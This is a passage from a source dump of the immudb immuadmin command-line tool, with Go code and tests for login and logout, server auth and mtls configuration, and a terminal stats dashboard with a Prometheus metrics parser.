cmdtest.RandString()\n\tcmdl := commandline{\n\t\tconfig:         helper.Config{Name: \"immuadmin\"},\n\t\toptions:        cliopt,\n\t\timmuClient:     &scIClientInnerMock{cliopt, *new(client.ImmuClient)},\n\t\tpasswordReader: pwReaderMock,\n\t\tcontext:        context.Background(),\n\t\tts:             tokenservice.NewFileTokenService().WithHds(homedir.NewHomedirService()).WithTokenFileName(tkf),\n\t}\n\tcmdl.login(cmd)\n\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"login\", \"immudb\"})\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tlogincmd := cmd.Commands()[0]\n\tlogincmd.PersistentPreRunE = nil\n\n\tcmd.Execute()\n\tout, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"logged in\")\n\tcmdlo := commandline{\n\t\tconfig:         helper.Config{Name: \"immuadmin\"},\n\t\toptions:        cliopt,\n\t\timmuClient:     &scIClientMock{*new(client.ImmuClient)},\n\t\tpasswordReader: pwReaderMock,\n\t\tcontext:        context.Background(),\n\t\tts:             tokenservice.NewFileTokenService().WithHds(homedir.NewHomedirService()).WithTokenFileName(tkf),\n\t}\n\tb1 := bytes.NewBufferString(\"\")\n\tcl = commandline{}\n\tlogoutcmd, _ := cl.NewCmd()\n\tlogoutcmd.SetOut(b1)\n\tlogoutcmd.SetArgs([]string{\"logout\"})\n\n\tcmdlo.logout(logoutcmd)\n\n\t// remove ConfigChain method to avoid override options\n\tlogoutcmd.PersistentPreRunE = nil\n\tlogoutcmdin := logoutcmd.Commands()[0]\n\tlogoutcmdin.PersistentPreRunE = nil\n\n\tlogoutcmd.Execute()\n\tout1, err1 := ioutil.ReadAll(b1)\n\tif err1 != nil {\n\t\tt.Fatal(err1)\n\t}\n\tassert.Contains(t, string(out1), \"logged out\")\n}\n\nfunc TestCommandLine_CheckLoggedIn(t *testing.T) {\n\toptions := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tcl := commandline{}\n\tcmd, _ := cl.NewCmd()\n\tcl.context = context.Background()\n\tcl.passwordReader = pwReaderMock\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\n\tcmd.SetArgs([]string{\"login\", \"immudb\"})\n\tcmd.Execute()\n\n\ttempDir := t.TempDir()\n\n\tcl.options = Options().WithDir(tempDir)\n\tcl.options.DialOptions = dialOptions\n\tcl.login(cmd)\n\n\tcmd1 := cobra.Command{}\n\tcl1 := new(commandline)\n\tcl1.context = context.Background()\n\tcl1.passwordReader = pwReaderMock\n\ttkf := cmdtest.RandString()\n\tcl1.ts = tokenservice.NewFileTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName(tkf)\n\tdialOptions1 := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\n\tcl1.options = Options().WithDir(tempDir)\n\tcl1.options.DialOptions = dialOptions1\n\terr := cl1.checkLoggedIn(&cmd1, nil)\n\tassert.NoError(t, err)\n}\n\nfunc newHomedirServiceMock() *clienttest.HomedirServiceMock {\n\th := clienttest.DefaultHomedirServiceMock()\n\th.FileExistsInUserHomeDirF = func(pathToFile string) (bool, error) {\n\t\treturn true, nil\n\t}\n\treturn h\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/root.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport \"github.com/spf13/cobra\"\n\nfunc (cl *commandline) NewCmd() (*cobra.Command, error) {\n\tcmd := &cobra.Command{\n\t\tUse:   \"immuadmin\",\n\t\tShort: \"CLI admin client for immudb - the lightweight, high-speed immutable database for systems and applications\",\n\t\tLong: `CLI admin client for immudb - the lightweight, high-speed immutable database for systems and applications.\n\nimmudb documentation:\n  https://docs.immudb.io/\n\nEnvironment variables:\n  IMMUADMIN_IMMUDB_ADDRESS=127.0.0.1\n  IMMUADMIN_IMMUDB_PORT=3322\n  IMMUADMIN_MTLS=true\n  IMMUADMIN_SERVERNAME=localhost\n  IMMUADMIN_PKEY=./tools/mtls/4_client/private/localhost.key.pem\n  IMMUADMIN_CERTIFICATE=./tools/mtls/4_client/certs/localhost.cert.pem\n  IMMUADMIN_CLIENTCAS=./tools/mtls/2_intermediate/certs/ca-chain.cert.pem`,\n\t\tSilenceUsage:      false,\n\t\tSilenceErrors:     false,\n\t\tDisableAutoGenTag: true,\n\t\tPersistentPreRunE: cl.ConfigChain(nil),\n\t}\n\n\tif err := cl.configureFlags(cmd); err != nil {\n\t\treturn nil, err\n\t}\n\treturn cmd, nil\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/serverconfig.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/spf13/cobra\"\n)\n\nfunc (cl commandline) serverConfig(cmd *cobra.Command) {\n\tauthKinds := map[string]auth.Kind{\n\t\t\"none\":     auth.KindNone,\n\t\t\"password\": auth.KindPassword,\n\t\t// \"cryptosig\": auth.KindCryptoSig,\n\t}\n\tccmd := &cobra.Command{\n\t\tUse:               \"set auth|mtls value\",\n\t\tShort:             \"Update server config items: auth (none|password|cryptosig), mtls (true|false)\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.checkLoggedInAndConnect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tctx := cl.context\n\t\t\tconfigItem := args[0]\n\t\t\tv := args[1]\n\t\t\tswitch configItem {\n\t\t\tcase \"auth\":\n\t\t\t\tauthKind, ok := authKinds[v]\n\t\t\t\tif !ok {\n\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\"unsupported %s auth mode, only none and password are currently supported\", v)\n\t\t\t\t}\n\t\t\t\tif err := cl.immuClient.UpdateAuthConfig(ctx, authKind); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"Server auth config updated\\n\")\n\n\t\t\tcase \"mtls\":\n\t\t\t\tenabled, err := strconv.ParseBool(v)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"unsupported value %s, server MTLS can be set to true or false\", v)\n\t\t\t\t}\n\t\t\t\tif err := cl.immuClient.UpdateMTLSConfig(ctx, enabled); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(cmd.OutOrStdout(), \"Server MTLS config updated\\n\")\n\t\t\tdefault:\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"unsupported %s config item, supported config items: auth or mtls\", configItem)\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(2),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/serverconfig_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"context\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"google.golang.org/grpc\"\n)\n\n/*\nfunc TestCommandLine_ServerconfigAuth(t *testing.T) {\n\tinput, _ := ioutil.ReadFile(\"../../../test/immudb.toml\")\n\terr := ioutil.WriteFile(\"/tmp/immudb.toml\", input, 0644)\n\trequire.NoError(t, err)\n\n\toptions := (&server.Options{}).WithAuth(false).WithConfig(\"/tmp/immudb.toml\").WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tdefer os.RemoveAll(options.Dir)\n\tdefer os.Remove(\".state-\")\n\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\tcliopt := Options()\n\tcliopt.DialOptions = dialOptions\n\n\thds := clienttest.DefaultHomedirServiceMock()\n\thds.FileExistsInUserHomeDirF = func(string) (bool, error) {\n\t\treturn true, nil\n\t}\n\n\tcl := &commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     &scIClientMock{*new(client.ImmuClient)},\n\t\tpasswordReader: pwReaderMock,\n\t\tcontext:        context.Background(),\n\t\tts:             tokenservice.NewTokenService().WithHds(hds).WithTokenFileName(\"tokenFileName\"),\n\t}\n\n\tcmdso, err := cl.NewCmd()\n\trequire.NoError(t, err)\n\tcl.serverConfig(cmdso)\n\n\tb := bytes.NewBufferString(\"\")\n\tcmdso.SetOut(b)\n\tcmdso.SetArgs([]string{\"set\", \"auth\", \"password\"})\n\n\t// remove ConfigChain method to avoid override options\n\tcmdso.PersistentPreRunE = nil\n\tsccmd := cmdso.Commands()[0]\n\tsccmd.PersistentPreRunE = nil\n\n\tcmdso.Execute()\n\tout, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Server auth config updated\")\n\tos.RemoveAll(\"/tmp/immudb.toml\")\n}\n\nfunc TestCommandLine_ServerconfigMtls(t *testing.T) {\n\tinput, _ := ioutil.ReadFile(\"../../../test/immudb.toml\")\n\terr := ioutil.WriteFile(\"/tmp/immudb.toml\", input, 0644)\n\trequire.NoError(t, err)\n\n\toptions := (&server.Options{}).WithAuth(false).WithConfig(\"/tmp/immudb.toml\").WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tdefer os.RemoveAll(options.Dir)\n\tdefer os.Remove(\".state-\")\n\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\tcliopt := Options()\n\tcliopt.DialOptions = dialOptions\n\n\tcl := commandline{\n\t\toptions:        cliopt,\n\t\timmuClient:     &scIClientMock{*new(client.ImmuClient)},\n\t\tpasswordReader: pwReaderMock,\n\t\tcontext:        context.Background(),\n\t\tts:             tokenservice.NewTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName(\"tokenFileName\"),\n\t}\n\n\tcmdso, _ := cl.NewCmd()\n\tcl.serverConfig(cmdso)\n\n\tb := bytes.NewBufferString(\"\")\n\tcmdso.SetOut(b)\n\tcmdso.SetArgs([]string{\"set\", \"mtls\", \"false\"})\n\n\t// remove ConfigChain method to avoid override options\n\tcmdso.PersistentPreRunE = nil\n\tsccmd := cmdso.Commands()[0]\n\tsccmd.PersistentPreRunE = nil\n\n\tcmdso.Execute()\n\tout, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\tassert.Contains(t, string(out), \"Server MTLS config updated\")\n\n\tos.RemoveAll(\"/tmp/immudb.toml\")\n}*/\n\ntype scIClientMock struct {\n\tclient.ImmuClient\n}\n\nfunc (c scIClientMock) UpdateAuthConfig(ctx context.Context, kind auth.Kind) error {\n\treturn nil\n}\nfunc (c scIClientMock) UpdateMTLSConfig(ctx context.Context, enabled bool) error {\n\treturn nil\n}\nfunc (c scIClientMock) Disconnect() error {\n\treturn nil\n}\nfunc (c scIClientMock) Logout(ctx context.Context) error {\n\treturn nil\n}\n\nfunc (c scIClientMock) GetOptions() *client.Options {\n\tdialOptions := []grpc.DialOption{}\n\treturn &client.Options{\n\t\tDialOptions: dialOptions,\n\t}\n}\n\nfunc (c scIClientMock) Login(ctx context.Context, user []byte, pass []byte) (*schema.LoginResponse, error) {\n\treturn &schema.LoginResponse{}, nil\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/stats/controller.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stats\n\nimport (\n\t\"container/list\"\n\t\"fmt\"\n\t\"math\"\n\t\"time\"\n\n\tui \"github.com/gizak/termui/v3\"\n\t\"github.com/gizak/termui/v3/widgets\"\n)\n\n// Controller ...\ntype Controller interface {\n\tRender(*metrics)\n\tResize()\n}\n\ntype statsController struct {\n\twithDBHistograms      bool\n\tGrid                  *ui.Grid\n\tSummaryTable          *widgets.Table\n\tSizePlot              *widgets.Plot\n\tSizePlotData          []*list.List\n\tNbReadsWritesPlot     *widgets.Plot\n\tNbReadsWritesPlotData []*list.List\n\tAvgDurationPlot       *widgets.Plot\n\tAvgDurationPlotData   []*list.List\n\tMemoryPlot            *widgets.Plot\n\tMemoryPlotData        []*list.List\n\ttui                   Tui\n}\n\n// Tui ...\ntype Tui interface {\n\tTerminalDimensions() (int, int)\n\tRender(items ...ui.Drawable)\n\tInit() error\n\tClose()\n\tPollEvents() <-chan ui.Event\n}\n\ntype tui struct{}\n\nfunc (t tui) TerminalDimensions() (int, int) {\n\treturn ui.TerminalDimensions()\n}\nfunc (t tui) Render(items ...ui.Drawable) {\n\tui.Render(items...)\n}\nfunc (t tui) Init() error {\n\treturn ui.Init()\n}\nfunc (t tui) Close() {\n\tui.Close()\n}\nfunc (t tui) PollEvents() <-chan ui.Event {\n\treturn ui.PollEvents()\n}\n\nfunc (p *statsController) Resize() {\n\tp.resize()\n\tp.tui.Render(p.Grid)\n}\n\nfunc (p *statsController) resize() {\n\ttermWidth, termHeight := p.tui.TerminalDimensions()\n\tp.Grid.SetRect(0, 0, termWidth, termHeight)\n}\n\nfunc enqueueDequeue(l *list.List, v interface{}, max int) {\n\tif l.Len() >= max {\n\t\tl.Remove(l.Front())\n\t}\n\tl.PushBack(v)\n}\nfunc toFloats(l *list.List) []float64 {\n\ta := make([]float64, l.Len())\n\ti := 0\n\tfor e := l.Front(); e != nil; e = e.Next() {\n\t\ta[i] = e.Value.(float64)\n\t\ti++\n\t}\n\treturn a\n}\n\nfunc updatePlot(\n\tplot *widgets.Plot,\n\tdata *[]*list.List,\n\tdataLength int,\n\tnewData []float64,\n\tnewTitle string,\n) {\n\tplot.Title = newTitle\n\tnbLines := len(newData)\n\tfor i := 0; i < nbLines; i++ {\n\t\tenqueueDequeue((*data)[i], newData[i], dataLength)\n\t}\n\tplot.Data = make([][]float64, nbLines)\n\tfor i := 0; i < nbLines; i++ {\n\t\tplot.Data[i] = toFloats((*data)[i])\n\t}\n}\n\nfunc (p *statsController) Render(ms *metrics) {\n\tdb := ms.dbWithMostEntries()\n\n\tuptime, _ := time.ParseDuration(fmt.Sprintf(\"%.4fh\", ms.uptimeHours))\n\tp.SummaryTable.Rows = [][]string{\n\t\t{\"[ImmuDB stats](mod:bold)\", fmt.Sprintf(\"[ at %s](mod:bold)\", time.Now().Format(\"15:04:05\"))},\n\t\t{\"Database\", db.name},\n\t\t{\"Uptime\", uptime.String()},\n\t\t{\"Entries\", fmt.Sprintf(\"%d\", db.nbEntries)},\n\t\t{\"No. clients\", fmt.Sprintf(\"%d\", ms.nbClients)},\n\t\t{\"  active < 1h ago\", fmt.Sprintf(\"%d\", len(*ms.clientsActiveDuringLastHour()))},\n\t}\n\n\ttotalSizeS, totalSize := byteCountBinary(db.totalBytes)\n\tupdatePlot(\n\t\tp.SizePlot,\n\t\t&p.SizePlotData,\n\t\tsizePlotDataLength,\n\t\t[]float64{totalSize},\n\t\tfmt.Sprintf(\" DB Size: %s \", totalSizeS))\n\n\tif p.withDBHistograms {\n\t\tnbReads := ms.reads.counter\n\t\tnbWrites := ms.writes.counter\n\t\tnbReadsWrites := nbReads + nbWrites\n\t\tpReads := math.Round(float64(nbReads) * 100 / float64(nbReadsWrites))\n\t\tpWrites := math.Round(float64(nbWrites) * 100 / float64(nbReadsWrites))\n\t\tupdatePlot(\n\t\t\tp.NbReadsWritesPlot,\n\t\t\t&p.NbReadsWritesPlotData,\n\t\t\tnbReadsWritesPlotDataLength,\n\t\t\t[]float64{float64(nbReads), float64(nbWrites)},\n\t\t\tfmt.Sprintf(\n\t\t\t\t\" %d reads / %d writes (%.0f%% / %.0f%%) \", nbReads, nbWrites, pReads, pWrites),\n\t\t)\n\n\t\tavgDurationReads := ms.reads.avgDuration * 1000_000\n\t\tavgDurationWrites := ms.writes.avgDuration * 1000_000\n\t\tupdatePlot(\n\t\t\tp.AvgDurationPlot,\n\t\t\t&p.AvgDurationPlotData,\n\t\t\tavgDurationPlotDataLength,\n\t\t\t[]float64{avgDurationReads, avgDurationWrites},\n\t\t\tfmt.Sprintf(\n\t\t\t\t\" Avg. duration: %.0f µs read, %.0f µs write \", avgDurationReads, avgDurationWrites),\n\t\t)\n\t}\n\n\tmemReservedS, memReserved := byteCountBinary(ms.memstats.sysBytes)\n\tmemInUseS, memInUse := byteCountBinary(ms.memstats.heapInUseBytes + ms.memstats.stackInUseBytes)\n\tupdatePlot(\n\t\tp.MemoryPlot,\n\t\t&p.MemoryPlotData,\n\t\tmemoryPlotDataLength,\n\t\t[]float64{memReserved, memInUse},\n\t\tfmt.Sprintf(\" Memory: %s reserved, %s in use \", memReservedS, memInUseS))\n\n\tui.Render(p.Grid)\n}\n\nfunc initPlot(\n\tplot *widgets.Plot,\n\tdata *[]*list.List,\n\tdataLength int,\n\tlabels []string,\n\ttitle string,\n) {\n\tnbLines := len(labels)\n\tfor i := 0; i < nbLines; i++ {\n\t\t(*data)[i] = list.New()\n\t}\n\tfor i := 0; i < dataLength; i++ {\n\t\tfor j := 0; j < nbLines; j++ {\n\t\t\t(*data)[j].PushBack(0.)\n\t\t}\n\t}\n\tplot.Title = title\n\tplot.PaddingTop = 1\n\tplot.DataLabels = labels\n}\n\nvar avgDurationPlotDataLength int\nvar nbReadsWritesPlotDataLength int\nvar sizePlotDataLength int\nvar memoryPlotDataLength int\n\nfunc (p *statsController) initUI() {\n\tp.resize()\n\n\tgridWidth := p.Grid.GetRect().Dx()\n\tavgDurationPlotWidthPercent := .6\n\tmemoryPlotWidthPercent := avgDurationPlotWidthPercent\n\tsizePlotWidthPercent := 1.\n\tnbReadsWritesWidthPercent := 0.\n\tif p.withDBHistograms {\n\t\tmemoryPlotWidthPercent = 1.\n\t\tsizePlotWidthPercent = .5\n\t\tnbReadsWritesWidthPercent = .5\n\t}\n\n\tp.SummaryTable.Title = \" Exit: q, Esc or Ctrl-C \"\n\tp.SummaryTable.PaddingTop = 1\n\n\tp.SizePlotData = make([]*list.List, 2)\n\tinitPlot(\n\t\tp.SizePlot,\n\t\t&p.SizePlotData,\n\t\tint(float64(gridWidth)*(sizePlotWidthPercent-.025)),\n\t\t[]string{\"DB Size\"},\n\t\t\" DB Size \")\n\n\tp.NbReadsWritesPlotData = make([]*list.List, 2)\n\tif p.withDBHistograms {\n\t\tinitPlot(\n\t\t\tp.NbReadsWritesPlot,\n\t\t\t&p.NbReadsWritesPlotData,\n\t\t\tint(float64(gridWidth)*(nbReadsWritesWidthPercent-.025)),\n\t\t\t[]string{\"reads\", \"writes\"},\n\t\t\t\" Number of reads/writes \")\n\n\t\tp.AvgDurationPlotData = make([]*list.List, 2)\n\t\tinitPlot(\n\t\t\tp.AvgDurationPlot,\n\t\t\t&p.AvgDurationPlotData,\n\t\t\tint(float64(gridWidth)*(avgDurationPlotWidthPercent-.025)),\n\t\t\t[]string{\"read\", \"write\"},\n\t\t\t\" Avg. duration read/write \")\n\t}\n\n\tp.MemoryPlotData = make([]*list.List, 2)\n\tinitPlot(\n\t\tp.MemoryPlot,\n\t\t&p.MemoryPlotData,\n\t\tint(float64(gridWidth)*(memoryPlotWidthPercent-.025)),\n\t\t[]string{\"reserved\", \"in use\"},\n\t\t\" Memory reserved/in use \")\n\n\tif p.withDBHistograms {\n\t\tp.Grid.Set(\n\t\t\tui.NewRow(\n\t\t\t\t.25,\n\t\t\t\tui.NewCol(1-avgDurationPlotWidthPercent, p.SummaryTable),\n\t\t\t\tui.NewCol(avgDurationPlotWidthPercent, p.AvgDurationPlot),\n\t\t\t),\n\t\t\tui.NewRow(\n\t\t\t\t.5,\n\t\t\t\tui.NewCol(sizePlotWidthPercent, p.SizePlot),\n\t\t\t\tui.NewCol(1-sizePlotWidthPercent, p.NbReadsWritesPlot),\n\t\t\t),\n\t\t\tui.NewRow(\n\t\t\t\t.25,\n\t\t\t\tui.NewCol(memoryPlotWidthPercent, p.MemoryPlot),\n\t\t\t),\n\t\t)\n\t\treturn\n\t}\n\n\tp.Grid.Set(\n\t\tui.NewRow(\n\t\t\t.33,\n\t\t\tui.NewCol(1-memoryPlotWidthPercent, p.SummaryTable),\n\t\t\tui.NewCol(memoryPlotWidthPercent, p.MemoryPlot),\n\t\t),\n\t\tui.NewRow(\n\t\t\t.66,\n\t\t\tui.NewCol(sizePlotWidthPercent, p.SizePlot),\n\t\t),\n\t)\n}\n\nfunc newStatsController(withDBHistograms bool, tui Tui) Controller {\n\t// xterm color reference https://jonasjacek.github.io/colors/\n\tui.Theme.Block.Title.Fg = ui.ColorGreen\n\tctl := &statsController{\n\t\twithDBHistograms: withDBHistograms,\n\t\tGrid:             ui.NewGrid(),\n\t\tSummaryTable:     widgets.NewTable(),\n\t\tSizePlot:         widgets.NewPlot(),\n\t\tMemoryPlot:       widgets.NewPlot(),\n\t\ttui:              tui,\n\t}\n\tif withDBHistograms {\n\t\tctl.NbReadsWritesPlot = widgets.NewPlot()\n\t\tctl.AvgDurationPlot = widgets.NewPlot()\n\t}\n\tctl.initUI()\n\treturn ctl\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/stats/controller_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stats\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/immuadmin/command/stats/statstest\"\n\tui \"github.com/gizak/termui/v3\"\n\t\"github.com/prometheus/common/expfmt\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\ntype tuiMock struct{}\n\nfunc (t tuiMock) TerminalDimensions() (int, int) {\n\treturn 1024, 768\n}\nfunc (t tuiMock) Render(items ...ui.Drawable) {}\n\nfunc (t tuiMock) Init() error {\n\treturn nil\n}\nfunc (t tuiMock) Close() {}\n\nfunc (t tuiMock) PollEvents() <-chan ui.Event {\n\tch := make(chan ui.Event)\n\treturn ch\n}\n\nfunc TestNewStatsController(t *testing.T) {\n\tc := newStatsController(true, tuiMock{})\n\tassert.IsType(t, &statsController{}, c)\n}\n\nfunc TestRender(t *testing.T) {\n\tc := newStatsController(true, tuiMock{})\n\n\ttextParser := expfmt.TextParser{}\n\n\tmetricsFamilies, _ := textParser.TextToMetricFamilies(bytes.NewReader(statstest.StatsResponse))\n\tms := &metrics{}\n\tms.populateFrom(&metricsFamilies)\n\tc.Render(ms)\n\tassert.IsType(t, &statsController{}, c)\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/stats/metrics.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stats\n\nimport (\n\t\"fmt\"\n\t\"math\"\n\t\"time\"\n\n\tdto \"github.com/prometheus/client_model/go\"\n)\n\nconst SystemdbName = \"systemdb\"\n\nvar readers = map[string]bool{\n\t\"ByIndex\":     true,\n\t\"ByIndexSV\":   true,\n\t\"Consistency\": true,\n\t\"Count\":       true,\n\t\"CurrentRoot\": true,\n\t\"Dump\":        true,\n\t\"Get\":         true,\n\t\"GetBatch\":    true,\n\t\"GetBatchSV\":  true,\n\t\"GetSV\":       true,\n\t\"Health\":      true,\n\t\"History\":     true,\n\t\"HistorySV\":   true,\n\t\"IScan\":       true,\n\t\"IScanSV\":     true,\n\t\"Inclusion\":   true,\n\t\"Login\":       true,\n\t\"SafeGet\":     true,\n\t\"SafeGetSV\":   true,\n\t\"Scan\":        true,\n\t\"ScanSV\":      true,\n\t\"ZScan\":       true,\n\t\"ZScanSV\":     true,\n}\n\nvar writers = map[string]bool{\n\t\"Reference\":     true,\n\t\"SafeReference\": true,\n\t\"SafeSet\":       true,\n\t\"SafeSetSV\":     true,\n\t\"SafeZAdd\":      true,\n\t\"Set\":           true,\n\t\"SetBatch\":      true,\n\t\"SetBatchSV\":    true,\n\t\"SetSV\":         true,\n\t\"ZAdd\":          true,\n}\n\ntype rpcDuration struct {\n\tmethod        string\n\tcounter       uint64\n\ttotalDuration float64\n\tavgDuration   float64\n}\n\ntype dbInfo struct {\n\tname       string\n\ttotalBytes uint64\n\tnbEntries  uint64\n}\n\ntype operations struct {\n\tcounter     uint64\n\tduration    float64\n\tavgDuration float64\n}\n\ntype memstats struct {\n\tsysBytes        uint64\n\theapAllocBytes  uint64\n\theapIdleBytes   uint64\n\theapInUseBytes  uint64\n\tstackInUseBytes uint64\n}\n\ntype metrics struct {\n\tdurationRPCsByMethod map[string]rpcDuration\n\treads                operations\n\twrites               operations\n\tnbClients            int\n\tnbRPCsPerClient      map[string]uint64\n\tlastMsgAtPerClient   map[string]uint64\n\tuptimeHours          float64\n\tdbs                  map[string]dbInfo\n\tmemstats             memstats\n}\n\nfunc (ms *metrics) isHistogramsDataAvailable() bool {\n\treturn len(ms.durationRPCsByMethod) > 0\n}\n\nfunc (ms *metrics) clientsActiveDuringLastHour() *map[string]time.Time {\n\tr := map[string]time.Time{}\n\tfor ip, lastMsgAt := range ms.lastMsgAtPerClient {\n\t\tt := time.Unix(int64(lastMsgAt), 0)\n\t\tago := time.Since(t)\n\t\tif ago.Hours() < 1 {\n\t\t\tr[ip] = t\n\t\t}\n\t}\n\treturn &r\n}\n\nfunc (ms *metrics) populateFrom(metricsFamilies *map[string]*dto.MetricFamily) {\n\tms.withDBInfo(metricsFamilies)\n\tms.withClients(metricsFamilies)\n\tms.withDuration(metricsFamilies)\n\tms.withMemStats(metricsFamilies)\n}\n\nfunc (ms *metrics) withClients(metricsFamilies *map[string]*dto.MetricFamily) {\n\tms.nbRPCsPerClient = map[string]uint64{}\n\tclientsMetrics := (*metricsFamilies)[\"immudb_number_of_rpcs_per_client\"].GetMetric()\n\tms.nbClients = len(clientsMetrics)\n\tfor _, m := range clientsMetrics {\n\t\tvar ip string\n\t\tfor _, labelPair := range m.GetLabel() {\n\t\t\tif labelPair.GetName() == \"ip\" {\n\t\t\t\tip = labelPair.GetValue()\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tms.nbRPCsPerClient[ip] = uint64(m.GetCounter().GetValue())\n\t}\n\n\tms.lastMsgAtPerClient = map[string]uint64{}\n\tlastMsgAtMetrics := (*metricsFamilies)[\"immudb_clients_last_message_at_unix_seconds\"].GetMetric()\n\tfor _, m := range lastMsgAtMetrics {\n\t\tvar ip string\n\t\tfor _, labelPair := range m.GetLabel() {\n\t\t\tif labelPair.GetName() == \"ip\" {\n\t\t\t\tip = labelPair.GetValue()\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tms.lastMsgAtPerClient[ip] = uint64(m.GetGauge().GetValue())\n\t}\n}\n\nfunc getGaugeVecPerLabel(metrics []*dto.Metric, label string, out *map[string]uint64) {\n\tfor _, m := range metrics {\n\t\tvar labelValue string\n\t\tfor _, labelPair := range m.GetLabel() {\n\t\t\tif labelPair.GetName() == \"db\" {\n\t\t\t\tlabelValue = 